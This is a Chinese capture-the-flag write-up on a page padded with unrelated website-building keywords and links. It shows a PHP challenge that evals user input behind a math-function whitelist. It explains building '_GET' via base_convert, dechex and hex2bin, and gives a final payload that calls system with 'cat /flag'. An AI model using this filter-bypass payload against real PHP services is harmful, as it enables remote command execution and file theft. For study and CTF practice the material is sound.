当前位置: 首页 > news >正文

唐山网站建设方案报价桂林做旅游网站失败的网站

唐山网站建设方案报价,桂林做旅游网站失败的网站,代做企业网站,建设银行甘肃省分行网站缴费文章目录 前言考点解题过程 前言 感慨自己实力不够#xff0c;心浮气躁根本做不来难题。难得这题对我还很有吸引力#xff0c;也涉及很多知识。只能说我是受益匪浅#xff0c;总的来说加油吧ctfer。 考点 利用php动态函数的特性利用php中的数学函数实现命令执行利用php7的特… 文章目录 前言考点解题过程 前言 感慨自己实力不够心浮气躁根本做不来难题。难得这题对我还很有吸引力也涉及很多知识。只能说我是受益匪浅总的来说加油吧ctfer。 考点 利用php动态函数的特性利用php中的数学函数实现命令执行利用php7的特性就是可以用变量执行函数 解题过程 打开题目源代码 ?php error_reporting(0); //听说你很喜欢数学不知道你是否爱它胜过爱flag if(!isset($_GET[c])){show_source(__FILE__); }else{//例子 c20-1$content $_GET[c];if (strlen($content) 80) {die(太长了不会算);}$blacklist [ , \t, \r, \n,\, , , \[, \]];foreach ($blacklist as $blackitem) {if (preg_match(/ . $blackitem . /m, $content)) {die(请不要输入奇奇怪怪的字符);}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist [abs, acos, acosh, asin, asinh, atan2, atan, atanh, base_convert, bindec, ceil, cos, cosh, decbin, dechex, decoct, deg2rad, exp, expm1, floor, fmod, getrandmax, hexdec, hypot, is_finite, is_infinite, is_nan, lcg_value, log10, log1p, log, max, min, mt_getrandmax, mt_rand, mt_srand, octdec, pi, pow, rad2deg, rand, round, sin, sinh, sqrt, srand, tan, tanh];preg_match_all(/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/, $content, $used_funcs); foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die(请不要输入奇奇怪怪的函数);}}//帮你算出答案eval(echo .$content.;); } 简单分析一下只有一个GET传参参数是c然后对上传的值进行黑名单检测接着给了白名单以及常用的数学函数。这个提示很明显了需要我们用函数进行转换成我们的执行命令 我们访问该链接发现base_convert函数是突破口很明显我们要转换成字母 我们试试将phpinfo转换成十进制 然后在题目测试一下 发现成功访问 思路正确后我们现在就要想构造类似于system(ls /);这样的出来但是这里对我们c的值进行了超多过滤这里用的是构造出类似$_GET[1]这样。 关键点利用php动态函数的特性比如我们可以构造 ?c$a_GET;($$a)[1]1phpinfo();如此来看我们就可以绕过正则匹配的限制 现在的问题就是如何构造出_GET这里需要用到的两个函数是 dechex()函数 可以将十进制转换为十六进制 hex2bin()函数 可以将十六进制转换为ascii码 这里一开始做可能会有疑惑为什么要用到dechex()函数呢其实目的很明显因为c的值不能有字母而我们要想利用hex2bin()函数即十六进制有字母出现必须要进行转换 经过测试 hex2bin(5f474554) -- _GET往前推hex2bin可以用base_convert函数表示 base_convert(37907361743,10,36) -- hex2bin5f474554用dechex函数表示 dechex(1598506324); -- 5f474554整理一下 ?c$absbase_convert(37907361743,10,36)(dechex(1598506324));($$abs){1}1phpinfo();注命名为$abs是因为abs在白名单里可以通过检测 然后再考虑到[]被过滤用{}替换即可 但是上传后并没有回显 原因很简单phpinfo只是被当成字符串并没有执行phpinfo(); 这里最后一个点就是我们传递的参数值为两个(即一个是函数名 一个是参数)该如何绕过呢 解决方法是用php7的特性就是可以用变量执行函数 简单测试下可以发现打印test出来 所以我们的payload为 ?c$absbase_convert(37907361743,10,36)(dechex(1598506324));($$abs){1}(($$abs){2})1system2cat /flag得到flag
http://www.hkea.cn/news/14458951/

相关文章:

  • 广州建设教育网站假山设计制作
  • jq网站特效插件下载建材公司网站建设方案
  • wordpress文章页seo设置网站seo测评
  • 公司企业网站建设方案书wordpress直播平台
  • 广州网站建设公司排名网站建设教程 pdf
  • 从网络安全角度考量_写出建设一个大型电影网站规划方案福建电信网站备案
  • 拐角型布局网站洛阳网站建设 恒凯科技
  • 北京高端网站建设规划网站建设评价指标
  • 南宁码科网站建设wordpress主题切换不了
  • 网站排名怎么优化湖北百度seo厂家
  • 全网营销和网站建设一级造价工程师考试时间
  • 模板网站怎么用阜阳学校网站建设
  • 优秀网站架构wamp配置多个网站
  • 太原零元网站建设wordpress固定链接怎么设置
  • 游戏网站建设与策划书镇江建设工程质量监督局网站
  • 更改网站备案沈阳有什么网站
  • 山东济宁做网站的公司怎样在文章后做网站链接
  • 做网站用什么软件语言wordpress样式多的编辑器
  • 上海php网站建设网站开发员的工资
  • 只做财经的网站商城站在哪个地方
  • 网上做任务挣钱的网站怎么做好营销推广
  • 东莞建设工程造价管理网站资产管理公司注册条件
  • 潍坊公司注册网站网站的基本结构
  • 电子商务系统有哪些潮州seo建站
  • 网站注册系统用什么做网页设计素材图片大全
  • 青岛网站建设企业asp技校网站
  • 如东做网站的公司qq网站临时会话
  • 该网站在工信部的icp ip地址合肥网站快速排名优化
  • 门户网站和网站的区别上海做网站那家好
  • 郑州餐饮网站建设哪家好试用网站空间